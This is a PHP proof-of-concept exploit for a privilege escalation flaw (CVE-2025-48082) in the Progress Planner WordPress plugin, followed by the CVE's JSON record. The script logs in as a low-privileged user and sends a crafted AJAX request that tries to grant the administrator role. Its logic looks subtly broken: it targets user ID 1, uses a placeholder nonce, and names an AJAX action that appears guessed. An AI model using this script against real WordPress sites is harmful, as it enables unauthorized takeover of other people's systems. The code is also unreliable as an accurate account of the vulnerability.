CVE-2025-48082

<?php /** * CVE-2025-48082 - Progress Planner Privilege Escalation PoC * Vulnerability: Incorrect Privilege Assignment (CWE-266) * Affected: Progress Planner <= 1.8.0 * * This PoC demonstrates the privilege escalation vulnerability * where a low-privileged user can escalate to administrator. */ // Target WordPress site URL $target_url = 'https://target-wordpress-site.com'; // Low-privileged user credentials (e.g., subscriber role) $username = 'subscriber_user'; $password = 'user_password'; // Step 1: Login as low-privileged user and obtain session cookies $login_url = $target_url . '/wp-login.php'; $cookies = array(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $login_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array( 'log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In', 'redirect_to'=> $target_url . '/wp-admin/', 'testcookie' => 1 ))); curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt'); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $response = curl_exec($ch); curl_close($ch); // Step 2: Exploit the privilege escalation via vulnerable plugin endpoint // The Progress Planner plugin exposes an AJAX action that lacks proper capability checks $exploit_url = $target_url . '/wp-admin/admin-ajax.php'; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exploit_url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array( 'action' => 'progress_planner_update_role', // Vulnerable AJAX action 'user_id' => 1, // Target admin user ID 'role' => 'administrator', // Escalate to administrator '_wpnonce' => 'bypass_or_obtained_nonce' // Nonce value ))); curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $result = curl_exec($ch); curl_close($ch); echo "Exploit result: " . $result . "\n"; if (strpos($result, 'success') !== false) { echo "Privilege escalation successful! User now has administrator access.\n"; } else { echo "Exploit may have failed or requires adjustment.\n"; } ?>

{"cve": {"id": "CVE-2025-48082", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:33.707", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect Privilege Assignment vulnerability in Progress Planner Progress Planner progress-planner allows Privilege Escalation.This issue affects Progress Planner: from n/a through <= 1.8.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-266"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/progress-planner/vulnerability/wordpress-progress-planner-plugin-1-8-0-privilege-escalation-vulnerability?_s_id=cve", "source": "[email protected]"}]}}